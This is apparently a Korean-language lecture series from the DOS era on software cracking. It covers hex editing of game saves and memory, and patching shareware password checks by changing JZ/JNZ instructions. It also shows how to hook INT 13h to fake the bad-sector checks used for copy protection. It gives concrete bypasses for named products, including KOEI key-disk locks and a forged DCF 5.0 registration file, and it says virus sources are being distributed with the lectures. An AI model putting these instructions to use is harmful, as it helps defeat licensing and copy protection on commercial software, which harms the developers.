10진수는 0,1,2,3,4,5,6,7,8,9 의 10개의 숫자로 이루어져 있다.
16진수는 16개의 숫자로 이루어져있다.
이렇게 "0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F" 말이다.
F 가 16진수에서는 가장 큰 수 이다.
비교 해보면..

   -------------------------------------------
         10 진수      |      16 진수
   -------------------------------------------
           0          |         0
           1          |         1
           2          |         2
           3          |         3
           4          |         4
           5          |         5
           6          |         6
           7          |         7
           8          |         8
           9          |         9
          10          |         A
          11          |         B
          12          |         C
          13          |         D
          14          |         E
          15          |         F
   -------------------------------------------
          16          |        10
          17          |        11
          18          |        12
          .           |        .
          .           |        .
          .           |        .
          .           |        .
          .           |        .
                      |

섹터 조작의 실제 적용

섹터조작의 가장 간단한 방법인 게임을 이용해보자.

게임에서 돈을 늘리거나 롤플레잉 같은경우는 방어력 공격력 같은것을
에디터 할수가 있다.
만약 게임에서(롤플레잉)방어력이 10이고 공격력이 18이라고 하자.
이때 방어력과 공격력을 최대로 높일려고 한다.

  방어력 : 10
  공격력 : 18


첫째, 에디터할 대상의 숫자를 16진수로 고쳐라!
방어력 10 ---> A   공격력 18 ---> 12
둘째,이제 위의 상태처럼 PCTOOLS.EXE 을 실행 시키고 세이브 화일에서 'F'키를 누른
상태에서, 방어력의 숫자와 공격력의 숫자를 찾는다. 지금의 상태에서 'F1'을
한번더 누르면,커서가 아래쪽으로 넘어 간다.
16진수를 치고 엔터를 친다.


그럼 아마 화일중에서 지금 입력한 16진수를 찾는데 다음 두개의 명령이 보일것이다.
E:찾은 번지를 에디터 하는 것이고, G:다음 번지를 더 찾는 것이다.
만약 찾으면 E 를 눌러 그 번지의 섹터를 FF 로 고친다.
그다음 F5를 누르고 저장 하고 나온 다음 게임을 하면 된다.

섹터 에디트에서 유의할게 있다.
만약 02 b4 라는게 있다고 치면,
이게 프로그램에 저장될때는 반대로 b4 02 이렇게 뒤집어 진다는 것이다.

어떤 게임에서 각각의 개인별 레벨,돈등이  나타난다.
이걸 고쳐보자.
일단 자신이 정한 인물의 현재 수치값을 적어서 진수변환(10진수->16진수)
을 한다.
그러면 100은 60으로 10000은 2710이라고 답이 나올것이다.
대체로 능력치등의 값은 한곳에 몰려서 저장된다.
자 그럼 여기서 나온 16진수 값을 PC-TOOLS등의 에디트에서 연속적으로 나열
되어 있는곳을 찾으면 바로 여기가 그 값이 저장되어 있는곳이다.
이곳을 찾아서 자신이 원하는 값으로 고치면 되는것이다.

우선 기본적인 게임 섹터 조작을 선보였다.
응용하면 기존 프로그램의 암호등을 패치시킬수도 있을 것이다.
꾸준한 연습이 왕도이다.





쉐어웨어 크랙.
 요즈음 쉐어웨어라는 것으로 특히 통신망의 발달로 인해 많이 정착된 제도가 있다.
쉐어웨어라는 것은 프로그래머가 개발한 프로그램에서 어느정도의 제약을 두어 통신망
등을 통해 프로그램을 공개하고 사용자가 그 프로그램이 마음에 들면 프로그램에 첨부
된 등록서와 돈을 제작자에게 부치면 제작자는 해당 프로그램의 제약이 없어진 등록된
프로그램을 사용자에게 제공해주는 방식으로 중계자가 없어 가격이 싼 편이어서 요즈
음 굉장히 많이 쓰이는 제도이다.
 쉐어웨어의 등록 방식에 크게 두가지가 있는데 첫째는 등록버전과 비등록버전을 따로
두어서 사용자가 등록을 하면 제작자가 등록버전을 보내주는 방식과 비등록버전에서
등록신청을 하면 제작자가 패스워드를 보내주고 그 패스워드를 비등록버전 등록메뉴에
서 입력하여 등록버전이 되는 것이다. 그런데 해커들은 후자의 경우 프로그램을 해킹
하여 등록버전을 만드는 경우가 많이 있다. 어떻게 그렇게 할 수 있으며 그를 막을 수
있는 법을 알아보자. 여기서는 간단히 패스워드를 입력하여 등록시키는 경우에 대해서
만 설명을 해본다.

입력부분 찾기
 우선 패스워드를 입력하는 부분을 찾아야 하는데 대개는 바이오스의 키보드 인터럽트
를 사용하므로 Interrupt 16h의 호출을 추적하면 된다. 이 경우 어느 정도 수준의 디
버거나 디스어셈블러 정도만 있으면 쉽게 찾을 수 있다. 좋은 디버거인 경우 패스워드
를 입력하는 부분에서 핫 키를 누르면 바로 나올 수도 있다.

비교부분 찾기
 입력 부분에서 Enter키를 검사하는 부분을 찾아 쫓아가보면 입력받은 암호와 실제 암
호를 비교하는 루틴이 나온다. 암호가 맞는지를 검사하는 부분은 크게 두 가지로 나눌
수 있는데 첫째는 문자열을 가지고 계산을 하여 나온 결과를 가지고 비교하는 것과 문
자열 자체를 암호와 비교하는 것이 있는데 전자의 경우 대부분 숫자만으로 이루어진
암호에 속하며 후자의 경우 영문 또는 숫자가 들어간 코드 등이 대부분이다.
 후자의 경우는 CMPS 의 어셈블리어 코드를 발견하면 십중 팔구 맞으나 전자의 경우는
CMP를 찾아야 하는데 연산 중간과정에서도 CMP가 상당수 나올 수 있다. CMP를 발견하
기는 커녕 연산을 하여 결과를 어디에 저장하는지 조차 알기 힘들 때가 있다.
 우선 비교하는 부분을 찾으면 문제는 굉장히 쉬워진다. 비교한 결과만 조금 바꾸어주
면 되기 때문이다.

고치기
 비교하는 부분은 대부분 CMPS 또는 CMP 를 하나만 쓴 부분일 것이다. 그리고 그 아래
에는 비교결과가 같으면 분기하는 JZ(또는 ZE) 이나 틀리면 분기하는 JNZ(또는 JNE)의
어셈블리어 코드가 있을 것이다. JZ를 JMP로 고치거나 JNZ를 NOP로 고치면 무조건 맞
은 것으로 간주하게 된다. 디버깅 상태라면 CMP 또는 CMPS연산 수행 후에 Zero Flag를
세트해줘도 된다.
 문자열을 암호로 하되 검사를 한 자 한 자씩 하는 경우도 드물지만 있으나, 그 경우
에는 한 자 한 자 각각의 검사 루틴을 위와 같이 처리하면 된다.

쉐어웨어의 변형방지
 쉐어웨어 제작자들은 위와 같은 변형을 막기 위해 여러 가지 방법을 쓴다. 대부분 실
행화일을 못 고치게 따로 변형시키는 방법이다. 위와 같은 추적은 실행화일에 제대로
된 기계어 코드가 들어 있어야 가능하기 때문이다. 그러한 제작자들의 몇가지 변형방
법과 실례를 들어보겠다.

보통 변형
 이 방법은 제작자가 직접 프로그램의 실행 코드를 변형시키는 방법으로, 많이 쓰이지
는 않는 방법이다. 이 방법을 사용한 대표적인 프로그램에는 PCXDUMP 가 있다. 이 프
로그램은 프로그램 본 코드에 전부 1을 더하여 저장을 해 놓았다. 즉 5인 경우는 6으
로, 0인 경우는 1로, 255인 경우는 0으로... 그리고 처음 실행되는 부분에 그 부분에
서 다시 1을 빼어 실행하는 루틴을 붙여 놓았다. 그렇게 때문에 이런 프로그램의 경우
디스어셈블을 할 때 전혀 엉뚱한 결과가 나오게 되는 것이다. PCXDUMP의 경우는 간단
한 경우라서 실행화일을 보다가 "QDYEVNQ"라는 낱말을 보고 혹은 그 외에 알 수 없는
"Uijt!qsphsbn!jt!tibsfxbsf"등의 영문의 섞인 규칙적인 내용을 보고 대충 짐작할 수
가 있다. 앞의 경우는 "PCXDUMP"에 각각 1을 더한 경우이고 뒤의 것은 "This program
is shareware"라는 문장에 1을 더한 경우이다. 보통 이런 식으로 변형이 된 부분은 위
와 같이 내용이 규칙적일 수 있는 데이타 부분을 가지고 추정을 할 수 있다. 대부분의
실행화일은 데이타 부분이 화일 뒷쪽에 있으므로 병형된 코드의 뒷쪽을 유심히 보면
이 변형공식을 추정해 낼 수 있다.
 이를 변형하는 방법 중 가장 많이 쓰이는 방법이 비트 연산 중 하나인 XOR 연산을 쓰
는 것이다. A를 B로 XOR한 값 C는 A와 별로 관계가 없어 보이지만 C를 B로 다시 XOR하
면 A가 나오기 때문에 가장 많이 쓰이게 되는 방법이다. 이럴 때는 뒷부분의 문자열
데이타가 있을 만한 부분에서 " ", 즉 주기적으로 나오는 공백을 찾아서 역으로 원래
코드인 32와 XOR을 해보면 키가 나오게 된다.

실행 압축
 이 방법이 가장 많이 쓰이는 것으로 실행 화일을 압축하여 전혀 다른 코드로 만들어
버리는 방식이다. LZEXE나 PKLITE와 같은 유틸리티들은 EXE 등을 압축할 수 있는데,
이런 유틸리티로 자신의 실행화일을 압축시켜 놓으면 전혀 엉뚱한 코드가 되고 역으로
풀기가 굉장히 난해하여진다. 그러나 UNLZEXE나 PKLITE -x로 화일을 다시 풀 수 있기
때문에 제작자는 이렇게 압축되어진 화일의 헤더 중 고치더라도 별 손상이 없는 부분
을 고쳐서 UNLZEXE나 PKLITE 가 압축되어진 화일로 인식하지 못하게 한다. 이러한 방
법은 쉐어웨어 프로그램 등에서 많이 찾아 볼 수 있다. PKLITE의 경우는 등록버젼인
경우 -e옵션으로 풀리지 않게 압축하는 경우도 있다.
 이런 경우에 해결책은 헤더를 변경시킨 경우 다시 그 유틸리티가 인식을 할 수 있게
헤더부분을 되돌려 주는 방법 또는 PKLITE -e로 압축한 경우는 그것을 풀어줄 수 있는
dislite라는 유틸리티 등을 사용하면 된다. 정 안될 경우 코드 트레이서 등으로 해당
프로그램의 압축을 풀어 로딩하는 곳까지 추적한 후에 로딩된 프로그램을 저장하는 방
식을 생각해 볼 수 있으나, 그리 쉽지는 않은 방법이다.

어떻게 막을 수 있나
 제작자의 입장에서 어떻게 막을 수 있나를 생각해 보면, 이러한 자신의 프로그램의
변형을 방지할 수 있는 방법은 상당히 많으나 끝까지 막기는 상당히 어렵다고 볼 수
있다. 즉 웬만한 조치에도 성능이 좋은 코드 트레이서 등은 조치를 취하는 과정마저도
해커들에게 보여지기 때문에 완벽히 막는것은 정말 어렵다고 할 수밖에 없다.
 보통 디스어셈블링을 피하기 위해서 위와 같은 방법을 쓰되, 코드 트레이서나 디버거
를 피하기 위해서 다른 방법을 쓸 수 있다. 그중 첫번째 방법은 Interrupt 3을 프로그
램 안에서 고의로 일어나게 하는 것으로 대부분의 코드 트레이서나 디버거는 브레이크
포인터 등에 Interrupt 3을 쓰므로 추적시 충돌을 고의로 일으킬 수 있다. 또 다른 방
법은 타이머 등을 체크하여 원래 실행해야 할 시간보다 실행과정동안 경과한 시간이
더 지났는가를 검사하는 방식이다. 추적을 막는 방법에는 그 외 여러가지가 있으나 그
막는 과정도 프로그램화 되므로 완벽히 막기란 불가능하다고도 볼 수 있다.
 그러나 막는 루틴을 작성하는 것보다 해당 루틴을 해채하는 것이 몇배에서 수백배까
지도 어려워 질 수 있으니 최선의 방법은 각종 방법을 섞어서 쓰는 것이라고 할 수 있
겠다.

복제방지에 관한 간단한 설명
 이 것은 우리나라 소프트웨어에서 주종을 이루는 정품 소프트웨어들의 불법 복제 방
지를 위해 사용되는 것으로 많이 사용하는 만큼 굉장히 많은 종류가 있다.

복제방지의 종류와 설명
 복제방지 루틴은 크게 비표준 디스크 포멧, 고의적인 베드 섹터 내기, 설치/역설치
방법, 암호 입력방법등이 있고 그 방법마다 또 작은 갈래로 나누어져 있을 정도로 많
은 종류가 있다. 복제방지의 대부분의 방법은 실행시에 정품에 딸려오는 물건을 꼭 필
요로 하는 방법이다.
 또한 다른 관점에서 봤을 때, 키 디스크를 사용하여 소프트웨어를 실행할 때마다 키
디스크를 넣어야 실행이 되는 것, 설치 된 시스템에서만 실행이 가능하고 다른 곳으로
복사하면 실행이 안되는 것, 하드웨어적으로 장치를 해놓아 그 하드웨어의 유무를 체
크하는 방법, 암호를 입력받는 법, 아예 복사가 안되는 것 등으로도 나눌 수 있다.

비표준 디스크 포멧
 복제방지 방법 중 하나는 디스크를 처음 포멧할 당시 비표준으로 포멧하여 호환성문
제를 일으키는 방법이 있다.
 키디스크를 사용하는 예를 들자면 포멧 당시 40이나 80트랙인 트랙 수를 1~2트랙정도
늘려서 포멧해도 디스크에 물리적 손상이 가지 않게 되는대 이 때 1정도 트랙 수를 늘
려서 포멧한 후 늘어난 공간에 어떠한 마킹을 해 놓는 것이다. 그리고 프로그램 실행
시 키 디스크를 체크할때 그 마킹한 부분을 확인하는 것이다. 비표준 포멧으로 추가된
부분은 표준 영역이 아니기 때문에 디스크 카피로도 카피되지 않는다.
 아예 복사가 안되게도 할 수 있는데, 섹터 수를 조정하여 포멧하는 경우 디스크 카피
를 할때 전혀 엉뚱하게 카피되게 할 수도 있다. 화일 복사로도 복사가 되겠지만 화일
복사로는 디스크 전체의 내용으로 봤을 때 똑같이 카피되지를 않기 때문에 다른 사항
으로 검사할 수 있다.
 이런 식의 방식을 사용하는 프로그램은 아래아 한글 2.1 수검용 등이 있다. (아래아
한글 수검용은 디스크 카피가 불가능하다. 그러나 화일 카피로 카피할 경우 별 문제없
이 되기 때문에 문제가 있다고 할 수 있다.)

고의적인 베드 섹터 내기
 많은 정품 프로그램이 키 디스크 검사시 혹은 설치시 사용하는 방법으로 물리적으로
디스크의 일정한 곳에 손상을 주어 배드 섹터를 만든 후에 검사할 때 그곳을 읽어서
물리적 에러가 나는 지 검사하는 방식이다. 키 디스크를 사용하는 거의 모든 정품은
이 방법을 사용할 것이다. "이스" 같은 게임이 이 방법을 쓴다.

설치와 역설치
 설치 횟수가 정해져 있어서 2번 정도만 설치가 된다던가, 하드에 설치를 해 놓으면
역설치 프로그램으로 하드의 자료를 지울 때까지 다음의 설치가 불가능하게 하는 등의
방법으로, "웅진 터미네이터" 등의 프로그램에서 쓴다. 이 경우 설치할 때 시스템의
사항을 저장시켜놓았다가 실행할때 검사한 시스템의 사항이 저장된 사항과 맞지 않으
면 불법 복제로 간주하고 실행을 중지하는 루틴이 포함되어야 한다.

암호입력
 예전에 많은 프로그램이 이 방법을 썼고 지금도 KOEI사나 지관(유) 사에서 나온 소프
트웨어들이 이 방법을 많이 쓰는데 실행시에 암호를 입력하는 방법이다. 물론 암호는
정품에 포함시킨다. 이 암호를 입력하는 방법에도 KOEI사의 소프트웨어들 처럼 어떤
키에 해당하는 수를 넣으면 되는 것과 "요절복통기계"나 "탄생" 처럼 그림의 순서를
맞추어 고르는 방법, "이야기 6,1","페르시아의 왕자 I"처럼 메뉴얼 상의 단어를 묻는
경우 등 매우 다양하다.

대표적인 예를 들어보겠다.
 KOEI 사의 락은 섹터 체크방식의 키디스크 락인데 같은 루틴을 계속 사용하고 있다.
디스크인터럽트인 13h의 04h를 이용해서 AH에 리턴되는 값에 따라 판별여부를 가린다.
리턴되는 값을 al에 옮기고 ah는 클리어한다음 ax값을  스택에 PUSH 한다... 그후 나중에 cx레지
스터에 POP한뒤 jcxz명령을 이용해서 점프시킨다.
이쯤되면 리턴값이 0이면 정상적으로 게임이 된다는 것을 잘 아실 수 있을 것이다.
인터럽트 13H을 훅한뒤 0을 돌려주게 만들면 간단히 없어진다.
그런데 문제는 다른데 있는데 바로 라벨화일을 체크하는 것이다.
1번 디스크인지 아닌지  라벨화일 체크한답시고  도스펑션 3dh를  이용해 오픈했다가 그냥 Close
한다.
그래서 삼국지 3 같은거 하다보면 처음에 드라이브 A 에서 드르륵 읽는 소리가 나는 것이다.
문제는 이 3dh펑션입니다..  그냥 라벨화일을 오픈하기위한 펑션이아니고  화일의 offset을 바꿔서
쓰는 일종의 프로시져 형식으로 되어있다.
그래서 다른화일도 오픈하기때문에 이펑션을 없앨수도 없고, 참 골치가 아픈부분이다.
그래서 생각해낸것이 화일내에서 화일이름을 찾아 그걸 바꾸는 방법인데,
C:\에 있는 IO.SYS로 이렇게 고쳤더니 역시 생각대로 플로피디스크는 넣을 필요없이,
또 A드라이브도 체크않하게 완전히 되었다.


복제방법 깨기
 앞의 쉐어웨어 에디팅에서 말했듯이 프로그램을 못 고치게 하는데도 소프트웨어적으
로는 한계가 있다. 그러므로 위와 같은 경우도 쉐어웨어와 마찬가지로 깨지기가 어렵
다 하더라도 깨질 수는 있는 것이다. 그러나 쉐어웨어에서와는 달리 물리적인 방법이
많은 편인 이 방법들은 유독 프로그램만 고치는 방법이 있는 것이 아니다. 프로그램에
서 사용하는 시스템 루틴을 고칠 수도 있고 프로그램 안에 포함된 암호 데이타를 찾아
내어 하나로 바꾸어버릴 수도 있는 것이다.

인터럽트 가로채기
 이 방법이 시스템 루틴을 고치는 방법으로 고의적으로 베드섹터를 내었을 때 주로 사
용하는데 이 방법은 프로그래밍을 하는 사람이면 간단한 램상주 프로그램을 짜므로써
복제방지를 무력화 시킬 수 있다.
 프로그램들은 디스크를 읽어서 배드 섹터를 검사하는데 Interrupt 13h를 호출한다.
AH=2(디스크에서 섹터단위 읽기)나 AH=4(디스크에서의 데이타와 메모리를 비교)의 서
비스를 가로챈다. Interrupt 13h에서 돌아오는 결과 중 CF(Carry Flag)이 세트될 경우
에러를 리턴하는 경우이므로 2나 4번 서비스가 들어왔을 때 무조건 혹은 해당 디스크
의 베드 섹터가 있는 곳을 가리켜서 호출됐을 때 CF와 AH에 베드 섹터가 났음을 표시
해주면 되는 것이다.
 예를 들어 디스크의 25트랙 3섹터 0면에 베드 섹터가 나 있다고 칠 경우 Interrupt 1
3h를 가로채서 트랙 25, 섹터 3, 면 0을 읽으려 하면 읽지 않고 결과를 무조건 베드
섹터가 검출된 것으로 (CF set, AH=4)를 되돌리게 하는 것이다.

프로그램 고치기
 이 방법은 전에 다뤘던 쉐어웨어의 에디팅과 크게 다를 바가 없다. 모든 불법복제를
깨는 경우에 사용될 수 있으나 어려운 편이고, 쉐어웨어처럼 실행 화일을 못 고치게
변형시키는 경우도 있다. 그러나 변형 방지를 위해 조치를 취한 경우도 쉐어웨어 때
설명처럼 그것들을 무력화시키면서 에디팅을 하면 할 수 있다.

데이타 고치기
 이 방법은 암호를 입력받아 실행하는 방식에만 적용 될 수 있는 것으로 그리 많은 경
우가 적용되는 것은 아니나 적용될 경우 상당히 쉬운 방법으로 고칠 수가 있다.
 암호를 입력받는 것 중에서 몇 번째 페이지의 몇 번제 단어라던가 캐릭터의 어떠한
특성, 게임 배경을 묻는 것 등은 그 자료가 대부분 들어 있기 마련이다. 게임의 경우
실행시에 이것을 묻는 경우가 많고 일반 프로그램은 설치시 나타나는 경우가 많은데
이 경우가 적용되는 경우는 거의가 게임이며, 이 자료도 변형을 시켜 놓아 알 수 없게
만드는 경우가 많다. 몇 가지 예를 들면 "A-TRAIN 4"의 경우 뒷부분 자료 중 1024Byte
s만큼 불규칙한 데이타가 잠깐 이어지는데, 이것을 실제 암호표와 대조를 해보면 암호
표의 글자를 XOR시켰음을 알 수 있다. 모두 A나 1등의 글자를 같은 키로 XOR시켜 고쳐
버리면 다음부터는 "A"나 "1"만을 입력하여 암호를 통과할 수 있는 식의 것이다. 이런
방법은 옛날에 주로 사용되던 것으로 요즈음에는 많이는 사용되고 있지 않다. 무작위
인 문자열이나 수인 경우 주어진 조건을 가지고 이런 저런 계산을 해서 암호를 만들어
내는 경우가 많기 때문에 이 방법이 적용되지 않을 때가 많다.


다음은 흔히 쓰이는 용어 설명입니다.
다음 시간부터 설명되는 내용에 꼭 필요한 것들이죠.
상식적으로 알아두시기 바랍니다.
자세한건 차차 하겠습니다.


카피락(lock)이란 프로그램의 복제를 방지하기위한 프로그램을 말합니다.

다음은 간단한 게임등에서 쓰일수 있는 베이직으로된 메뉴얼 락 예제입니다.
참조만 하세요.

예)

 DIM PW$(10,10)

 FOR A=1 TO 10
   FOR B=1 TO 10

     READ PW$(A,B)
   NEXT B
 NEXT A

 DATA "HELLO? MY "
 DATA "NAME IS KU"
 DATA "S. THIS GA"
 DATA "ME IS MADE"
 DATA "BY ME. I U"
 DATA "SED BASIC "
 DATA "DURING PRO"
 DATA "GRAMMING. "
 .
 .
 .

 이렇게 100개의 데이터를 만들죠. 데이터 길이는 10자도 좋고 20자도 좋으나 칸이 맞
아들어야 합니다. 이렇게 되면 1페이지당 10줄이 있는 10페이지의 메뉴얼이 완성됩니다.


 데이터의 내용은 게임 진행방법, 제작일자 등등의 잡다한 내용을 넣습니다.
 이렇게 하고나서 PASSWORD.TXT화일을 만듭니다.

 여기에는 위의 data 화일 내용등을 써넣으세요.

 이렇게 하면 PASSWORD.TXT화일안에 암호 내용이 들어가죠.

 암호를 물을때는

 PAGE X , COL Y , ROW Z

 라고 물으면 되요.

 PAGE 1 , COL 3 , ROW 5
 하면 1페이지의 3째줄 5번째칸이니깐 H가 되겠죠?
 그럼 암호를 입력하죠. 암호가 맞으면 C=C+1 틀리면 그냥 놔둬요
 그런식으로 세번 실시한뒤 C가 3이면 넘어가고 3이 아니면 세개중 한개가 틀린거죠.

 암호를 분석하는법은 다음과 같습니다.
 아니 암호를 묻는것은 다음과 같이 합니다.
 X=INT(RND(1)*10)+1
 Y=INT(RND(1)*10)+1
 Z=INT(RND(1)*10)+1
 P$=MID$(PW$(X,Y),Z,1)
 PRINT"PAGE:";X;"COL:";Y;"ROW:";Z
 INPUT"PASSWORD";PASS$
 IF PASS$=P$ THEN C=C+1
 GOTO ...


크랙(crack) 이란 카피락을 무력하게 만드는 것을 뜻하며 이런 의미에서 크랙커(cracker)는
그런 일을 하는 사람을 칭합니다. 하지만 cracker는 usenet에서는 hacker성격과
반대되는 나쁜 사람들을 칭하는 의미로써 쓰이기도 합니다.

패치(patch)란 근원적인 뜻은 소프트웨어를 만든 회사에서 임시적으로 버그같은 것을
수정할 목적으로 실행화일을 직접고치는 일 또는 알고리즘의 변화없이
임시로 소스래벨에서 버그를 막는 일.. 등을 말합니다.
이런 이유에서 락의 있어서 패치란 실행화일을 고쳐버리는 일을 뜻합니다.

크랙을 만드는 과정은 일괄적이지 않으며 개인마다 쓰는 방법은 모두 틀릴것입니다.
변경되지 않는 처리라면 오직 "분석해서 수정"하다는 것뿐이 없다고 생각합니다.

크랙은 프로그램의 락이 걸린 실행화일 자체를 분석/추적/수정해야만
가능합니다. 분석과 추적작업은 역어셈블리된 소스를 대상으로 행해지는
것이기때문에 어셈블러 프로그래밍을 할수 있거나 혹은 어셈블리코드들을
이해하는 사람들만이 제작능력이 있는 사람이라고 말할수 있습니다.

어떤 언어를 배운분이라면 그언어의 소스를 본다면 그것이 무엇을 하는
프로그램의 소스이며 또 어떻게 고치면 자신이 원하는 일을 할수 있게 하는지
알수 있을것입니다.
어셈블러는 기계코드와 1:1대응이 되기때문에 실행화일을 어셈블러의 소스에
가까운 것으로 바꿀수 있습니다.
위의 말을 종합한다면 어셈블러 프로그래머는 실행화일만으로도 그 프로그램을
고칠수 있다는 말이 되겠지요. 결국 분석한다는 것은 어셈블러프로그래머의
입장에서는 소스래벨 디버깅과 크게 다르지 않습니다.

크랙 자체를 만드는 것은 하위접근이 가능한 씨나 파스칼 어셈블러 등등의
어떤 언어로도 만들수 있습니다. 다만 크랙을 만들기위해서 하는 락의 분석
작업은 역어셈블리된 소스를 대상으로 행해지기때문에 크랙자체를 만드는
언어와는 상관없이 어셈블러는 알아야합니다

실행화일로 된것은 어떤이유에서인가 락이 걸린화일을 직접적으로
수정하지 못하여 실행시에 메모리에서 수정해야만 할때 쓰는 방식이며 프로그램
자체가 크랙된것은 그런 현상이 없는 프로그램에서 단순히 직접적으로 디스크의
화일자체를 고친것입니다

크랙을 만드는 제일 유명한 단체는 험블(humble)입니다.
그 밖에도 단체인지 개인인지는 모르지만 많은 사람들이 있는 것은 확실합니다.


pctools 로 크랙 만들기는 "분석작업을 한뒤에 패치를 pctools로 한다" 입니다.
크랙에 있어서 중요한것은 락의 분석작업입니다. 사실상 분석작업이
크랙의 100%라고 말을 해도 과언이 아닐것입니다. 하지만 일반적으로 겉으로
나타나는것은 패치작업이죠. 크랙킹작업을 옆에서 지켜보면 계속해서 코드만을
보다가 한~~~참후에 패치가 가능한것이면 pctools로 패치를 해서 락을 제거
합니다. 그리고 누군가 어떤 프로그램의 크랙방법을 알려달라고 묻게되면
pctools로 패치하는 방법을 알려주게 되는거죠.
이런 이유로 겉으로 나타나는 패치작업이 크랙의 전부인것으로 알고 있는 분들이
많이 있습니다. 크랙자체를 만드는 것은 분명히 pctools로 하는 경우도 있는것은
틀림이 없습니다. 하지만 크랙이라는 것이 프로그램의 수정이기때문에 분석이
없을수가 없습니다. 좀더 다른 관점에서 봤을때 pctools의 작업은 기록작업
이외에는 아무 의미가 없습니다.
또한 자체압축같은 것이 되어 있는 프로그램에서는 pctools의 패치작업은
사용하지 못하며 부수적인 프로그램을 만들어서 디스크가 아닌 램에서 프로그램을
수정하게 만들어야합니다. 다시말해서 모든 락의 크랙제작 pctools를 항상
사용가능한것은 아닙니다.

인터럽트를 훅해서 메모리에서 수정한다는 말은  프로그램이 압축이 되어 있거나 또는 다른 이유
에 의해서 패치를 하지 못할때에는 추가적으로 디스크에서 메모리로 프로그램이 올라온후 실행을
위해서 원형의 모습을 갖추었을때 프로그램의 코드를 고치는 작업을  말합니다. 보다 자세한 설명
은 80개열의 CPU의 인터럽트의 메카니즘상의 문제이므로 이정도로 줄이겠습니다.

역어셈블리 소스를 만들어주는 프로그램은 많습니다. 소서라는 프로그램이 그
대표적인 것입니다. 그렇지 않으면 반어셈블러(?)정도의 소스라면 일반적인
모든 디버그에서 제공하고 있습니다. 크랙은 추적작업이 병행되어야 편하기때문에
많은 크랙커들은 전적인 역어셈블러보다는 디버거의 사용을 선호하고 있습니다.

디버거는 프로그램의 버그(오류)의 발견을 위해서 그 프로그램을 부분적으로
실행하면서 역어셈블리된 코드를 보여주거나 CPU의 래지스터 상태를 보여주는
프로그램을 칭합니다.

소프트아이스(Soft-Ice)란 많은 종류의 디버거중에 하나이며 강력합니다.
SI는 많은 기능을  가지고 있으며 구할수 있는  디버거중에 가장 편리(?)하고 막강한  디버거라고
생각합니다.

이외에도 많은 디버거들이 있습니다.
그것들에 대한 강의 시간에 함께 제공하겠습니다.



그리고 암호화 기법에 대한 몇몇 소스도 포함했습니다!!









안녕하세요.

17회 강좌입니다.

이번 강좌부터는 크랙등 실용적인 실제 적용을 하겠습니다.
나머지 바이러스 소스/샘플프로그램 과 크랙등에 사용될 각종 프로그램들을
함께 보냅니다.
정말 많은 양입니다.
제가 힘들여 수집한 것들입니다.
여기에는 각종 유명 툴도 많죠.
많은 도움이 되시길...............

크랙을 만드는 이와 하는 이와의 싸움은 점점 치열해집니다.
바이러스 제작자와 백신 제작자와의 싸움이 그러하듯 말이죠.

우선 해킹할수 있는 프로그램에 대해서 먼저 이야기 해보죠.
우리가 소프트웨어에서 암호등을 깰수 있는 크랙 프로그램은 많이 존재합니다.
어느것이 더 편한게 목적을 이루는데 도움이 되느냐가 중요한 것이죠.
그것들중에는 초보,중급,고급용등 다양하게 존재합니다.
전에 말한 리스트중에서 몇가지 추가된것이 있습니다.
여러분이 전혀 모르겠을 유틸들의 간단한 사용등은 질문하시면 알려드리죠.
어셈,디버그를 알아야 하는것이 있는반면 하나도 몰라도 쉽게 할 수 있는것들도 있습니다.
차근차근 해보죠.

근데 크랙이란게 무조건 특정 프로그램 가지고 두드리고 부수고만 하는건 아닙니다.
어떤 프로그램들은 특정 화일을 지우기만 해도 암호가 없어지는 것들도 있습니다.
아래 예를 보면 이런 방법도 있구나 하는걸 아실겁니다.

DCF 5.0을 가지고 해보기로 합시다
DCF(Disk Copy Fast)는 등록판이라는 허가를 얻기위한  방법으로 암호화된 dcf의 일부화일이 필
요합니다
그것은 config.dcf 라는것으로 이것이 dcf.exe의 실행화일이 실행될때 등록판인가 아닌가를 확인해
주는 dcf의 환경 file 입니다
그러나 이 화일은 여러분들이 다운받은 쉐어버전에는 없습니다.
이 암호화된 등록 file를 만들어  봅시다 이것은 일반 텍스트 화일이므로 일반 에디터 프로그램으
로 작성하시면 됩니다.
즉 dos의 edit나 edlin또는 dos의 con 또는 Q등 기타 등등 아무것이나 좋습니다
가장 간단한 DOS의 CON을 가지고 만들어 보죠.

그럼 DOS의 PROMPT에서
copy con config.dcf
rem 이것은 dcf의 등록획득을 위한 config.dcf의 defalt rem 값입니다.
rem 중요한것은 달러($)표시와 register의 rem 사이에 공백이 있어서는 안됩니다.
$register
rem 이름을 입력하고 바로 11자리의 문자를 임의로 입력하십시요.
kim tae bong 1234567890A
$nomsg
^z

이것으로 등록화일 만들기용 text file이 완성된것 입니다
rem 은 주석입니다. 실제 작성시 빼셔도 됩니다.

이로서 완성되었습니다.

본격적인 크랙으로 들어가죠.

1. 게임 위자드 프로

"게임 위자드 프로"를 아시나요?
게임을 보다 쉽게 할 수 있는 프로그램입니다.
세이브 안되는 곳에서 세이브/로드 하고 암호 깨고 등등 초보자들이 써도 막강히 활용할 수
있는 도구입니다.
우선 게임에서의 간단한 크랙을 봅시다.

"대항해 시대2"를 가지고 해보겠습니다.


사용 1. 게임 위자드 프로 를 실행한다. 그럼 램상주 됩니다.
     2. 게임등 해당 프로그램을 실행한다.
     3. 고치고자 하는 화면등에서      `   키를 누른다.
     4. ` 를 누르면 게임위자드 프로 화면이 호출됩니다.

가장 중요한 요소인 돈을 고쳐볼까요?
  `   를 눌러 위자드 를 부른 화면에서  G  를 눌러보십시요.
그리고 4000:258A 를 입력하면 돈이 기록되어 있는 해당 번지로 갈겁니다.
거기서 E 를 누르면 입력이 가능합니다.
80 4A 5D 05 라고 입력해 보세요.
그럼 돈이 엄청나게 늘어날겁니다.

이게 가장 간단한 예입니다.

다른걸 하나 더 볼까요?

옛날 농구 게임인 NBA 를 가지고 해봅시다.
점수를 올려보죠.
위자드를 램 상주 시키고서 NBA 를 시작하면 0점 일겁니다.
여기서  Memory Address Search 를 선택하세요.
이게 M 을 누르면 됩니다.
그럼 옵션을 물어볼때 no 를 치고 입력 요구시 0을 입력합니다.
엔터를 치고 슛을 한번 넣어면 2점이 올라가겠죠?
위자드를 호출하고  M 를 누르면 곧장 다시 입력하게 될때 2 를 입력합니다.
에디트 화면으로 바뀌면 커서 위치에서 숫자를 입력합니다.
ff 를 누르고 세이브를 시킵니다.
점수가 엄청나게 늡니다.

이런식으로 게임을 무지 막지하게 조작할 수 있습니다!!!
응용하기 나름입니다.
여기부터는 여러분의 창조적인 두뇌에 맞기겠습니다.


